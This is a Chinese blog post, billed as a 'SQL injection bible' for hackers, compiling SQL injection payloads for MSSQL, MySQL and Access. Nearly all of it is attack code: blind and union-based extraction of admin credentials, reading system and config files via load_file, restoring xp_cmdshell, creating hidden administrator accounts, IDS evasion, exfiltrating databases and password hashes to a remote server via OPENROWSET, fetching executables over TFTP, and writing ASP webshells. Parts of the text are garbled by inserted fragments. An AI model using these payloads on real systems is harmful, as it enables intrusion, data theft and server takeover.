美文网首页娱乐圈
【sql注入天书】黑客必学

【sql注入天书】黑客必学

作者: 碧海生曲 | 来源:发表于2018-11-21 20:14 被阅读0次

    MSSQL 跨库查询(臭要饭的!黑夜)

    榨干MS SQL最后一滴血

    SQL语句参考及记录集对象详解

    关于SQL Server中存储过程

    利用 mssql backup 创建webshell

    SQL_Injection高级应用

    跨站式SQL注入(老凯(laokai))

    怪异的SQL注入(AMANL)

    SQL Server应用程序中的高级SQL注入(翻译:青野志狼)

    如何利用Sql 注入遍历目录

    SQL Injection技巧的演练(翻译人: demonalex)

    SQL数据库的一些攻击

    SQL Injection攻击技术(JSW)

    SQL_Injection高级应用(apachy)

    SQL注入的不常见方法(桂林老兵)

    Backup a shell

    谈php+mysql注射语句构造(黑嘿黑·≯Super·Hei)

    Advanced SQL Injection with MySQL(angel)

    L'injection (My)SQL via PHP

    Oracle SQL语言

    SQL手工注入大全

    前提需要工具:SQL Query Analyzer和SqlExec Sunx Version

    ==============================================================================================

    1.判断有无注入点

    ; and 1=1 and 1=2

    2.猜表一般的表的名称无非是admin adminuser user pass password 等..

    and 0<>(select count(*) from *)

    and 0<>(select count(*) from admin) —判断是否存在admin这张表

    3.猜帐号数目 如果遇到0< 返回正确页面 1<返回错误页面说明帐号数目就是1个

    and 0<(select count(*) from admin)

    and 1<(select count(*) from admin)

    4.猜解字段名称 在len( ) 括号里面加上我们想到的字段名称.

    and 1=(select count(*) from admin where len(*)>0)–

    and 1=(select count(*) from admin where len(用户字段名称name)>0)

    and 1=(select count(*) from admin where len(_blank>密码字段名称password)>0)

    5.猜解各个字段的长度 猜解长度就是把>0变换 直到返回正确页面为止

    and 1=(select count(*) from admin where len(*)>0)

    and 1=(select count(*) from admin where len(name)>6) 错误

    and 1=(select count(*) from admin where len(name)>5) 正确 长度是6

    and 1=(select count(*) from admin where len(name)=6) 正确

    and 1=(select count(*) from admin where len(password)>11) 正确

    and 1=(select count(*) from admin where len(password)>12) 错误 长度是12

    and 1=(select count(*) from admin where len(password)=12) 正确

    6.猜解字符

    and 1=(select count(*) from admin where left(name,1)=a) —猜解用户帐号的第一位

    and 1=(select count(*) from admin where left(name,2)=ab)—猜解用户帐号的第二位

    就这样一次加一个字符这样猜,猜到够你刚才猜出来的多少位了就对了,帐号就算出来了

    (1)猜表名

    所用语句:

    and exists (select * from 表名)

    例如:

    and exists (select * from admin)

    如果页面回显正确,则说明我们这里猜的表名是正确的,如果页面出错,那么就说明我们这里写的表名是错误

    的,那就换一个表名继续猜,一直到猜中为止。

    一般的,常用的表名有admin,manage,user,或者放到工具跑

    (2)猜字段

    所用语句:

    and exists (select 字段名 from 表名)

    例如:

    and exists (select username from admin)

    这里,假设admin表是我上边猜对了的表,那么我要判断username字段是否存在,就要使用这条语句,如果页

    面回显正确,则说明我们这里猜的字段名是正确的,如果页面出错,那么就说明我们这里写的字段名是错误的

    ,那就换一个字段名继续猜,一直到猜中为止。

    一般的,常见的字段名有username,password,user,pass,name,pass,pwd,usr,psd等字段

    (3)order by

    order by 是为了获得该页面上的字段数的总和,为下一步的联合查询做准备

    (4)联合查询(union select)

      1,如果支持联合查询,找出显示位http://www.xxx.com/product_show.asp?id=1 and 1=2 union select

    1,2,3,4,5,6,7,8,9,10,11

    假设显示位是5,6。我们接下来只需要把管理员的用户名和密码对应的字段名替换掉这里显示位的位置

    http://www.xxx.com/product_show.asp?id=1 and 1=2 union select

    1,2,3,4,admin_name,admin_pwd,7,8,9,10,11 from admin找到后台登陆

      2,如果不支持联合查询

    不可以联合查询的情况下拿到管理员的用户名和密码- -使用Ascii逐字解码法

    二,

      利用 order by 判断表的位数,如果不行就用union select 逐个的排,这里假设是8位

    三,

      用联合查询来判断显示位

    四,

      利用显示位找到数据库名,数据库版本,5.0以上的可以注入

    http://www.xxx.com/news_detail.php?newsid=-1+union+select+1,2,3,4,5,6,concat(database

    (),0x5c,user(),0x5c,

    version()),8

    五,

      有了数据库名就开始得到表名schema=后面就是数据库名称的HEX值,猜解表名

    http://www.xxx.com/news_detail.php?newsid=-1+union+select+1,2,3,4,5,6,GROUP_CONCAT(DISTINCT

    +table_name),8

    +from+information_schema.columns+where+

    table_schema=0x666C6965725F6462617365

      分析出来的表名,判断管理员的表name=表名的HEX值,猜解表内的字段

      http://www.xxx.com/news_detail.php?newsid=-1+union+select+1,2,3,4,5,6,GROUP_CONCAT(DISTINCT

    +column_name),8+

    from+information_schema.columns+where+table_name=0x7075625F7765626D6173746572

    七,

      得到了管理员表的字段之后,再来获取字段的内容

      http://www.xxx.com/news_detail.php?newsid=-1+union+select+1,2,3,4,5,6,GROUP_CONCAT(DISTINCT

    +username,

    0x5f,userpwd),8+from+pub_webmaster

      工具扫描后台:找到后登陆上传木马,如果找不到访问robots.txt文件

    九,

      如果找不到后台,爆MYSQL管理员的口令

      http://www.xxx.com/news_detail.php?newsid=-1+union+select+1,2,3,4,5,6,concat

    (user,password),8+from+mysql.user

    十,

      随便访问一个路径,反馈的是IIS6的404默认页,说明网站服务器是:Windows+IIS6+php+MySql的环境

      c:\\windows\\system32\\inetsrv\\MetaBase.xml这个路径就可以获取网站配置信息了。

      构造语句http://www.xxx.com/news_detail.php?newsid=-1+union+select+1,2,3,4,5,6,load_file

    (0x633A5C5C77696E646F77735C

      5C73797374656D33325C5C696E65747372765C5C4D657461426173652E786D6C),8

    十一,

      分析代码,找后台地址

      第一步,我们需要获得表中字段的长度

    使用的语句:

    and (select top 1 len(字段名) from 表名)>0

    比如:

    and (select top 1 len(admin_name) from admin)>0

    页面显示正常,说明字段admin_name的长度是大于0的,我再提交:

    http://www.xxx.com/display1_new.asp?id=108 and (select top 1 len(admin_name) from admin)>10

    页面显示错误说明了字段在0到10之间,用二分法求得长度为5

    以同样的方法判断出管理员的密码的字段的长度,我得到的长度为16

      第二步

    判断出了两个字段的长度,现在我们进行第二步,截取字段中的某个字符,并得到该字符的ASCII码,使用的

    语句:

    and (select top 1 asc(mid(字段名,N,1)) from 表名)>0

    我把这句话分开来看,首先,最里边的mid(username,1,1)函数,这个是截取admin_name字段的第一个字符,N

    表示要截取第几个字符,

    然后外边的asc()函数,这个是将mid函数截取到的字符转换成ASCII码,最外边的top 1,表示返回字段中的第

    一条记录,然后,

    最后边的“>0”,是将这个转换出的ASCII码与这个数字相比较,通过不断变换最后的这个数值,最终得出截

    取到的这个字符的具体的

    ASCII码

    提交:

    http://www.xxx.com/display1_new.asp?id=108 and (select top 1 asc(mid(admin_name,1,1)) from

    admin)>30

    页面显示正常,说明这个字符的ASCII码是大于30的。

    提交:

    http://www.xxx.com/display1_new.asp?id=108 and (select top 1 asc(mid(admin_name,1,1)) from

    admin)>90

    页面显示正常,说明这个字符的ASCII码是大于90的。

    http://www.xxx.com/display1_new.asp?id=108 and (select top 1 asc(mid(admin_name,1,1)) from

    admin)=97

    最终我得出的这个字符的ASCII码是97

    对照一下ASCII表:

    可以得出第一个字符是“a”。

    然后我再来判断第二个字符的ASCII码。

    http://www.xxx.com/display1_new.asp?id=108 and (select top 1 asc(mid(admin_name,2,1)) from

    admin)>90

    页面显示正常,说明该字符的ASCII码是大于90的,一直换最后的这个数值

    同样的方法得出管理员的密码了,我最终得出的结果为:

    http://www.xxx.com/display1_new.asp?id=108 and (select top 1 asc(mid(admin_pass,1,1)) from

    admin)=52

    and 1=(select top 1 count(*) from Admin where Asc(mid(pass,5,1))=51) –

    这个查询语句可以猜解中文的用户和_blank>密码.只要把后面的数字换成中文的 ASSIC码就OK.最后把结果再

    转换成字符.

    group by users.id having 1=1–www.myhack58.com

    group by users.id, users.username, users.password, users.privs having 1=1–

    ; insert into users values( 666, attacker, foobar, 0xffff )–

    UNION Select TOP 1 COLUMN_blank>_NAME FROM INFORMATION_blank>_SCHEMA.COLUMNS Where

    TABLE_blank>_NAME=logintable-

    UNION Select TOP 1 COLUMN_blank>_NAME FROM INFORMATION_blank>_SCHEMA.COLUMNS Where

    TABLE_blank>_NAME=logintable Where COLUMN_blank>_NAME NOT IN (login_blank>_id)-

    UNION Select TOP 1 COLUMN_blank>_NAME FROM INFORMATION_blank>_SCHEMA.COLUMNS Where

    TABLE_blank>_NAME=logintable Where COLUMN_blank>_NAME NOT IN

    (login_blank>_id,login_blank>_name)-

    UNION Select TOP 1 login_blank>_name FROM logintable-

    UNION Select TOP 1 password FROM logintable where login_blank>_name=Rahul–

    看_blank>服务器打的补丁=出错了打了SP4补丁黑吧安全网

    and 1=(select @@VERSION)–

    看_blank>数据库连接账号的权限,返回正常,证明是 _blank>服务器角色sysadmin权限。

    and 1=(Select IS_blank>_SRVROLEMEMBER(sysadmin))–

    判断连接_blank>数据库帐号。(采用SA账号连接 返回正常=证明了连接账号是SA)

    and sa=(Select System_blank>_user)–

    and user_blank>_name()=dbo–

    and 0<>(select user_blank>_name()–

    看xp_blank>_cmdshell是否删除

    and 1=(Select count(*) FROM master.dbo.sysobjects Where xtype = X AND name = xp_blank>_cmdshell)

    xp_blank>_cmdshell被删除,恢复,支持绝对路径的恢复

    ;EXEC master.dbo.sp_blank>_addextendedproc xp_blank>_cmdshell,xplog70.dll–

    ;EXEC master.dbo.sp_blank>_addextendedproc xp_blank>_cmdshell,c:\inetpub\wwwroot\xplog70.dll–

    ==============================DB权限暴出网站物理路径代码

    ==========================================================================

    1、drop table [jm_tmp];create table [jm_tmp](value navrchar(4000) null,data nvarchar(4000)

    null)-- 创建表

      2、 delete [jm_tmp];insert [jm_tmp] exec master.dbo.xp_regread

    ’HKEY_LOCAL_MACHINE’,’SYSTEM\ControlSet001\Services\W3SVC\Parameters\Virtual Roots’,’/’--

    将网站目录插到表字段中

      3、and (select top 1 cast([data] as nvarchar(4000) char(124) from [jm_tmp] order by [data]

    desc)=0 ’//暴出字段

      4、drop table [jm_tmp]-- 删除此表。

    for命令获取shell

    /c for /r e:\ %i in ("<%eval request("cmd")%>") do @echo %i

    >>d:\其他站路径

    ======================load_file() 常用敏感信息===========================================

    1、 replace(load_file(0×2F6574632F706173737764),0×3c,0×20)

    2、replace(load_file(char(47,101,116,99,47,112,97,115,115,119,100)),char(60),char(32))

    上面两个是查看一个PHP文件里完全显示代码.有些时候不替换一些字符,如 “<” 替换成”空格” 返回的是

    网页.而无法查看到代码.

    3、 load_file(char(47)) 可以列出FreeBSD,Sunos系统根目录

    4、/etc/httpd/conf/httpd.conf或/usr/local/apche/conf/httpd.conf 查看linux APACHE虚拟主机配置文件

    5、c:\Program Files\Apache Group\Apache\conf\httpd.conf 或C:\apache\conf\httpd.conf  查看WINDOWS

    系统apache文件

    6、c:/Resin-3.0.14/conf/resin.conf  查看jsp开发的网站 resin文件配置信息.

    7、c:/Resin/conf/resin.conf      /usr/local/resin/conf/resin.conf 查看linux系统配置的JSP虚拟主机

    8、d:\APACHE\Apache2\conf\httpd.conf

    9、C:\Program Files\mysql\my.ini

    10、../themes/darkblue_orange/layout.inc.php  phpmyadmin 爆路径

    11、 c:\windows\system32\inetsrv\MetaBase.xml 查看IIS的虚拟主机配置文件

    12、 /usr/local/resin-3.0.22/conf/resin.conf  针对3.0.22的RESIN配置文件查看

    13、 /usr/local/resin-pro-3.0.22/conf/resin.conf 同上

    14 、/usr/local/app/apache2/conf/extratpd-vhosts.conf APASHE虚拟主机查看

    15、 /etc/sysconfig/iptables 本看防火墙策略

    16 、 /usr/local/app/php5 b/php.ini  PHP 的相当设置

    17 、/etc/my.cnf  MYSQL的配置文件

    18、 /etc/redhat-release  红帽子的系统版本

    19 、C:\mysql\data\mysql\user.MYD 存在MYSQL系统中的用户密码

    20、/etc/sysconfig/network-scrip{过滤}ts/ifcfg-eth0 查看IP.

    21、/usr/local/app/php5 b/php.ini //PHP相关设置

    22、/usr/local/app/apache2/conf/extratpd-vhosts.conf //虚拟网站设置

    23、c:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini

    24、c:\windows\my.ini

    25、/etc/issue 显示Linux核心的发行版本信息

    26、/etc/ftpuser

    27、查看LINUX用户下的操作记录文件.bash_history 或 .bash_profile

    28、/etc/ssh/ssh_config

    /etc/httpd/logs/error_log

    /etc/httpd/logs/error.log

    /etc/httpd/logs/access_log

    /etc/httpd/logs/access.log

    /var/log/apache/error_log

    /var/log/apache/error.log

    /var/log/apache/access_log

    /var/log/apache/access.log

    /var/log/apache2/error_log

    /var/log/apache2/error.log

    /var/log/apache2/access_log

    /var/log/apache2/access.log

    /var/www/logs/error_log

    /var/www/logs/error.log

    /var/www/logs/access_log

    /var/www/logs/access.log

    /usr/local/apache/logs/error_log

    /usr/local/apache/logs/error.log

    /usr/local/apache/logs/access_log

    /usr/local/apache/logs/access.log

    /var/log/error_log

    /var/log/error.log

    /var/log/access_log

    /var/log/access.log

    /etc/mail/access

    /etc/my.cnf

    /var/run/utmp

    /var/log/wtmp

    ../../../../../../../../../../var/log/httpd/access_log

    ../../../../../../../../../../var/log/httpd/error_log

    ../apache/logs/error.log

    ../apache/logs/access.log

    ../../apache/logs/error.log

    ../../apache/logs/access.log

    ../../../apache/logs/error.log

    ../../../apache/logs/access.log

    ../../../../../../../../../../etc/httpd/logs/acces_log

    ../../../../../../../../../../etc/httpd/logs/acces.log

    ../../../../../../../../../../etc/httpd/logs/error_log

    ../../../../../../../../../../etc/httpd/logs/error.log

    ../../../../../../../../../../var/www/logs/access_log

    ../../../../../../../../../../var/www/logs/access.log

    ../../../../../../../../../../usr/local/apache/logs/access_log

    ../../../../../../../../../../usr/local/apache/logs/access.log

    ../../../../../../../../../../var/log/apache/access_log

    ../../../../../../../../../../var/log/apache/access.log

    ../../../../../../../../../../var/log/access_log

    ../../../../../../../../../../var/www/logs/error_log

    ../../../../../../../../../../var/www/logs/error.log

    ../../../../../../../../../../usr/local/apache/logs/error_log

    ../../../../../../../../../../usr/local/apache/logs/error.log

    ../../../../../../../../../../var/log/apache/error_log

    ../../../../../../../../../../var/log/apache/error.log

    ../../../../../../../../../../var/log/access_log

    ../../../../../../../../../../var/log/error_log

    /var/log/httpd/access_log     

    /var/log/httpd/error_log   

    ../apache/logs/error.log   

    ../apache/logs/access.log

    ../../apache/logs/error.log

    ../../apache/logs/access.log

    ../../../apache/logs/error.log

    ../../../apache/logs/access.log

    /etc/httpd/logs/acces_log

    /etc/httpd/logs/acces.log

    /etc/httpd/logs/error_log

    /etc/httpd/logs/error.log

    /var/www/logs/access_log

    /var/www/logs/access.log

    /usr/local/apache/logs/access_log

    /usr/local/apache/logs/access.log

    /var/log/apache/access_log

    /var/log/apache/access.log

    /var/log/access_log

    /var/www/logs/error_log

    /var/www/logs/error.log

    /usr/local/apache/logs/error_log

    /usr/local/apache/logs/error.log

    /var/log/apache/error_log

    /var/log/apache/error.log

    /var/log/access_log

    /var/log/error_log

    ========================================================

    反向PING自己实验

    ;use master;declare @s int;exec sp_blank>_oacreate “wscrip{过滤}t.shell”,@s out;exec

    sp_blank>_oamethod @s,”run”,NULL,”cmd.exe /c ping 192.168.0.1″;–

    加帐号

    ;DECLARE @shell INT EXEC SP_blank>_OACreate wscrip{过滤}t.shell,@shell OUTPUT EXEC SP_blank>_OAMETHOD

    @shell,run,null, C:\WINNT\system32\cmd.exe /c net user jiaoniang$ 1866574 /add–

    创建一个虚拟目录E盘:

    ;declare @o int exec sp_blank>_oacreate wscrip{过滤}t.shell, @o out exec sp_blank>_oamethod @o, run,

    NULL, cscrip{过滤}t.exe c:\inetpub\wwwroot\mkwebdir.vbs -w “默认Web站点” -v “e”,”e:\”–

    访问属性:(配合写入一个webshell)

    declare @o int exec sp_blank>_oacreate wscrip{过滤}t.shell, @o out exec sp_blank>_oamethod @o, run,

    NULL, cscrip{过滤}t.exe c:\inetpub\wwwroot\chaccess.vbs -a w3svc/1/ROOT/e +browse

    爆库 特殊_blank>技巧::%5c=\ 或者把/和\ 修改%5提交

    and 0<>(select top 1 paths from newtable)–

    得到库名(从1到5都是系统的id,6以上才可以判断)

    and 1=(select name from master.dbo.sysdatabases where dbid=7)–

    and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=6)

    依次提交 dbid = 7,8,9…. 得到更多的_blank>数据库名

    and 0<>(select top 1 name from bbs.dbo.sysobjects where xtype=U) 暴到一个表 假设为 admin

    and 0<>(select top 1 name from bbs.dbo.sysobjects where xtype=U and name not in (Admin)) 来得到

    其他的表。

    and 0<>(select count(*) from bbs.dbo.sysobjects where xtype=U and name=admin

    and uid>(str(id))) 暴到UID的数值假设为18779569 uid=id

    and 0<>(select top 1 name from bbs.dbo.syscolumns where id=18779569) 得到一个admin的一个字段,假

    设为 user_blank>_id

    and 0<>(select top 1 name from bbs.dbo.syscolumns where id=18779569 and name not in

    (id,…)) 来暴出其他的字段

    and 0<(select user_blank>_id from BBS.dbo.admin where username>1) 可以得到用户名

    依次可以得到_blank>密码。。。。。假设存在 user_blank>_id username ,password 等字段

    and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=6)

    and 0<>(select top 1 name from bbs.dbo.sysobjects where xtype=U) 得到表名

    and 0<>(select top 1 name from bbs.dbo.sysobjects where xtype=U and name not in(Address))

    and 0<>(select count(*) from bbs.dbo.sysobjects where xtype=U and name=admin and uid>(str(id)))

    判断id值

    and 0<>(select top 1 name from BBS.dbo.syscolumns where id=773577794) 所有字段

    ?id=-1 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,* from admin

    ?id=-1 union select 1,2,3,4,5,6,7,8,*,9,10,11,12,13 from admin (union,access也好用)

    得到WEB路径

    ;create table [dbo].[swap] ([swappass][char](255));–

    and (select top 1 swappass from swap)=1–

    ;Create TABLE newtable(id int IDENTITY(1,1),paths varchar(500)) Declare @test varchar(20) exec

    master..xp_blank>_regread @rootkey=HKEY_blank>_LOCAL_blank>_MACHINE, @key=SYSTEM

    \CurrentControlSet\Services\W3SVC\Parameters\Virtual Roots\, @value_blank>_name=/, values=@test

    OUTPUT insert into paths(path) values(@test)–

    ;use ku1;–

    ;create table cmd (str image);– 建立image类型的表cmd

    1.去掉xp_cmdshell扩展过程的方法是使用如下语句:

    if exists (select * from dbo.sysobjects where id=object_id(N'[dbo].[xpcmdshell]') and

    OBJECTPROPERTY(id,N'IsExtendedProc')=1)

    exec sp_dropextendedproc N'[dbo].[xp_cmdshell]'

    2.添加xp_cmdshell扩展过程的方法是使用如下语句:

    (1)SQL Query Analyzer

    sp_addextendedproc xp_cmdshell,@dllname='xplog70.dll'

    (2)首先在SqlExec Sunx Version的Format选项里填上%s,在CMD选项里输入

    sp_addextendedproc 'xp_cmdshell','xpsql70.dll'

    去除

    sp_dropextendedproc 'xp_cmdshell'

    (3)MSSQL2000

    sp_addextendedproc 'xp_cmdshell','xplog70.dll'

    存在xp_blank>_cmdshell的测试过程:

    ;exec master..xp_blank>_cmdshell dir

    ;exec master.dbo.sp_blank>_addlogin jiaoniang$;– 加SQL帐号

    ;exec master.dbo.sp_blank>_password null,jiaoniang$,1866574;–

    ;exec master.dbo.sp_blank>_addsrvrolemember jiaoniang$ sysadmin;–

    ;exec master.dbo.xp_blank>_cmdshell net user jiaoniang$ 1866574 /workstations:* /times:all

    /passwordchg:yes /passwordreq:yes /active:yes /add;–

    ;exec master.dbo.xp_blank>_cmdshell net localgroup administrators jiaoniang$ /add;–

    exec master..xp_blank>_servicecontrol start, schedule 启动_blank>服务

    exec master..xp_blank>_servicecontrol start, server

    ; DECLARE @shell INT EXEC SP_blank>_OACreate wscrip{过滤}t.shell,@shell OUTPUT EXEC SP_blank>_OAMETHOD

    @shell,run,null, C:\WINNT\system32\cmd.exe /c net user jiaoniang$ 1866574 /add

    ;DECLARE @shell INT EXEC SP_blank>_OACreate wscrip{过滤}t.shell,@shell OUTPUT EXEC SP_blank>_OAMETHOD

    @shell,run,null, C:\WINNT\system32\cmd.exe /c net localgroup administrators jiaoniang$ /add

    ; exec master..xp_blank>_cmdshell tftp -i youip get file.exe– 利用TFTP上传文件

    ;declare @a sysname set @a=xp_blank>_+cmdshell exec @a dir c:\

    ;declare @a sysname set @a=xp+_blank>_cm’+’dshell exec @a dir c:\

    ;declare @a;set @a=db_blank>_name();backup database @a to disk=你的IP你的共享目录bak.dat

    如果被限制则可以。

    select * from openrowset(_blank>sqloledb,server;sa;,select OK! exec

    master.dbo.sp_blank>_addlogin hax)

    查询构造:

    Select * FROM news Where id=… AND topic=… AND …..

    adminand 1=(select count(*) from [user] where username=victim and right(left(userpass,01),1)=1)

    and userpass <>

    select 123;–

    ;use master;–

    :a or name like fff%;– 显示有一个叫ffff的用户哈。

    and 1<>(select count(email) from [user]);–

    ;update [users] set email=(select top 1 name from sysobjects where xtype=u and status>0) where

    name=ffff;–

    ;update [users] set email=(select top 1 id from sysobjects where xtype=u and name=ad) where

    name=ffff;–

    ;update [users] set email=(select top 1 name from sysobjects where xtype=u and id>581577110)

    where name=ffff;–

    ;update [users] set email=(select top 1 count(id) from password) where name=ffff;–

    ;update [users] set email=(select top 1 pwd from password where id=2) where name=ffff;–

    ;update [users] set email=(select top 1 name from password where id=2) where name=ffff;–

    上面的语句是得到_blank>数据库中的第一个用户表,并把表名放在ffff用户的邮箱字段中。

    通过查看ffff的用户资料可得第一个用表叫ad

    然后根据表名 ad得到这个表的ID 得到第二个表的名字

    insert into users values( 666, char(0×63)+char(0×68)+char(0×72)+char(0×69)+char(0×73),

    char(0×63)+char(0×68)+char(0×72)+char(0×69)+char(0×73), 0xffff)–

    insert into users values( 667,123,123,0xffff)–

    insert into users values ( 123, admin–, password, 0xffff)–

    ;and user>0

    ;and (select count(*) from sysobjects)>0

    ;and (select count(*) from mysysobjects)>0 //为access_blank>数据库

    枚举出数据表名

    ;update aaa set aaa=(select top 1 name from sysobjects where xtype=u and status>0);–

    这是将第一个表名更新到aaa的字段处。

    读出第一个表,第二个表可以这样读出来(在条件后加上 and name<>刚才得到的表名)。

    ;update aaa set aaa=(select top 1 name from sysobjects where xtype=u and status>0 and

    name<>vote);–

    然后id=1552 and exists(select * from aaa where aaa>5)

    读出第二个表,一个个的读出,直到没有为止。

    读字段是这样:

    ;update aaa set aaa=(select top 1 col_blank>_name(object_blank>_id(表名),1));–

    然后id=152 and exists(select * from aaa where aaa>5)出错,得到字段名

    ;update aaa set aaa=(select top 1 col_blank>_name(object_blank>_id(表名),2));–

    然后id=152 and exists(select * from aaa where aaa>5)出错,得到字段名

    [获得数据表名][将字段值更新为表名,再想法读出这个字段的值就可得到表名]

    update 表名 set 字段=(select top 1 name from sysobjects where xtype=u and status>0 [ and name<>

    你得到的表名 查出一个加一个]) [ where 条件] select top 1 name from sysobjects where xtype=u and

    status>0 and name not in(table1,table2,…)

    通过SQLSERVER注入_blank>漏洞建_blank>数据库管理员帐号和系统管理员帐号[当前帐号必须是SYSADMIN组]

    [获得数据表字段名][将字段值更新为字段名,再想法读出这个字段的值就可得到字段名]

    update 表名 set 字段=(select top 1 col_blank>_name(object_blank>_id(要查询的数据表名),字段列

    如:1) [ where 条件]

    绕过IDS的检测[使用变量]

    ;declare @a sysname set @a=xp_blank>_+cmdshell exec @a dir c:\

    ;declare @a sysname set @a=xp+_blank>_cm’+’dshell exec @a dir c:\

    1、 开启远程_blank>数据库

    基本语法

    select * from OPENROWSET(SQLOLEDB, server=servername;uid=sa;pwd=123, select * from table1 )

    参数: (1) OLEDB Provider name

    2、 其中连接字符串参数可以是任何端口用来连接,比如

    select * from OPENROWSET(SQLOLEDB, uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;,

    select * from table

    3.复制目标主机的整个_blank>数据库insert所有远程表到本地表。

    基本语法:

    insert into OPENROWSET(SQLOLEDB, server=servername;uid=sa;pwd=123, select * from table1) select

    * from table2

    这行语句将目标主机上table2表中的所有数据复制到远程_blank>数据库中的table1表中。实际运用中适当修

    改连接字符串的IP地址和端口,指向需要的地方,比如:

    insert into OPENROWSET(SQLOLEDB,uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;,select

    * from table1) select * from table2

    insert into OPENROWSET(SQLOLEDB,uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;,select

    * from _blank>_sysdatabases)

    select * from master.dbo.sysdatabases

    insert into OPENROWSET(SQLOLEDB,uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;,select

    * from _blank>_sysobjects)

    select * from user_blank>_database.dbo.sysobjects

    insert into OPENROWSET(SQLOLEDB,uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;,select

    * from _blank>_syscolumns)

    select * from user_blank>_database.dbo.syscolumns

    复制_blank>数据库:

    insert into OPENROWSET(SQLOLEDB,uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;,select

    * from table1) select * from database..table1

    insert into OPENROWSET(SQLOLEDB,uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;,select

    * from table2) select * from database..table2

    复制哈西表(HASH)登录_blank>密码的hash存储于sysxlogins中。方法如下:

    insert into OPENROWSET(SQLOLEDB,

    uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;,select * from _blank>_sysxlogins)

    select * from database.dbo.sysxlogins

    得到hash之后,就可以进行暴力破解。

    遍历目录的方法: 先创建一个临时表:temp

    ;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));–

    ;insert temp exec master.dbo.xp_blank>_availablemedia;– 获得当前所有驱动器

    ;insert into temp(id) exec master.dbo.xp_blank>_subdirs c:\;– 获得子目录列表

    ;insert into temp(id,num1) exec master.dbo.xp_blank>_dirtree c:\;– 获得所有子目录的目录树结构,

    并寸入temp表中

    ;insert into temp(id) exec master.dbo.xp_blank>_cmdshell type c:\web\index.asp;– 查看某个文件的

    内容

    ;insert into temp(id) exec master.dbo.xp_blank>_cmdshell dir c:\;–

    ;insert into temp(id) exec master.dbo.xp_blank>_cmdshell dir c:\ *.asp /s/a;–

    ;insert into temp(id) exec master.dbo.xp_blank>_cmdshell cscrip{过滤}t C:\Inetpub\Adminscrip{过滤}ts

    \adsutil.vbs enum w3svc

    ;insert into temp(id,num1) exec master.dbo.xp_blank>_dirtree c:\;– (xp_blank>_dirtree适用权限

    PUBLIC)

    写入表:

    语句1:and 1=(Select IS_blank>_SRVROLEMEMBER(sysadmin));–

    语句2:and 1=(Select IS_blank>_SRVROLEMEMBER(serveradmin));–

    语句3:and 1=(Select IS_blank>_SRVROLEMEMBER(setupadmin));–

    语句4:and 1=(Select IS_blank>_SRVROLEMEMBER(securityadmin));–

    语句5:and 1=(Select IS_blank>_SRVROLEMEMBER(securityadmin));–

    语句6:and 1=(Select IS_blank>_SRVROLEMEMBER(diskadmin));–

    语句7:and 1=(Select IS_blank>_SRVROLEMEMBER(bulkadmin));–

    语句8:and 1=(Select IS_blank>_SRVROLEMEMBER(bulkadmin));–

    语句9:and 1=(Select IS_blank>_MEMBER(db_blank>_owner));–

    把路径写到表中去:

    ;create table dirs(paths varchar(100), id int)–

    ;insert dirs exec master.dbo.xp_blank>_dirtree c:\–

    and 0<>(select top 1 paths from dirs)–

    and 0<>(select top 1 paths from dirs where paths not in(@Inetpub))–

    ;create table dirs1(paths varchar(100), id int)–

    ;insert dirs exec master.dbo.xp_blank>_dirtree e:\web–

    and 0<>(select top 1 paths from dirs1)–

    把_blank>数据库备份到网页目录:下载

    ;declare @a sysname; set @a=db_blank>_name();backup database @a to disk=e:\web\down.bak;–

    and 1=(Select top 1 name from(Select top 12 id,name from sysobjects where xtype=char(85)) T

    order by id desc)

    and 1=(Select Top 1 col_blank>_name(object_blank>_id(USER_blank>_LOGIN),1) from sysobjects) 参看

    相关表。

    and 1=(select user_blank>_id from USER_blank>_LOGIN)

    and 0=(select user from USER_blank>_LOGIN where user>1)

    -=- wscrip{过滤}t.shell example -=-

    declare @o int

    exec sp_blank>_oacreate wscrip{过滤}t.shell, @o out

    exec sp_blank>_oamethod @o, run, NULL, notepad.exe

    ; declare @o int exec sp_blank>_oacreate wscrip{过滤}t.shell, @o out exec sp_blank>_oamethod @o, run,

    NULL, notepad.exe–

    declare @o int, @f int, @t int, @ret int

    declare @line varchar(8000)

    exec sp_blank>_oacreate scrip{过滤}ting.filesystemobject, @o out

    exec sp_blank>_oamethod @o, opentextfile, @f out, c:\boot.ini, 1

    exec @ret = sp_blank>_oamethod @f, readline, @line out

    while( @ret = 0 )

    begin

    print @line

    exec @ret = sp_blank>_oamethod @f, readline, @line out

    end

    declare @o int, @f int, @t int, @ret int

    exec sp_blank>_oacreate scrip{过滤}ting.filesystemobject, @o out

    exec sp_blank>_oamethod @o, createtextfile, @f out, c:\inetpub\wwwroot\foo.asp, 1

    exec @ret = sp_blank>_oamethod @f, writeline, NULL,

    <% set o = server.createobject(“wscrip{过滤}t.shell”): o.run( request.querystring(“cmd”) ) %>

    declare @o int, @ret int

    exec sp_blank>_oacreate speech.voicetext, @o out

    exec sp_blank>_oamethod @o, register, NULL, foo, bar

    exec sp_blank>_oasetproperty @o, speed, 150

    exec sp_blank>_oamethod @o, speak, NULL, all your sequel servers are belong to,us, 528

    waitfor delay 00:00:05

    ; declare @o int, @ret int exec sp_blank>_oacreate speech.voicetext, @o out exec

    sp_blank>_oamethod @o, register, NULL, foo, bar exec sp_blank>_oasetproperty @o, speed, 150 exec

    sp_blank>_oamethod @o, speak, NULL, all your sequel servers are belong to us, 528 waitfor delay

    00:00:05–

    xp_blank>_dirtree适用权限PUBLIC

    exec master.dbo.xp_blank>_dirtree c:返回的信息有两个字段subdirectory、depth。Subdirectory字段是

    字符型,depth字段是整形字段。

    create table dirs(paths varchar(100), id int)

    建表,这里建的表是和上面 xp_blank>_dirtree相关连,字段相等、类型相同。

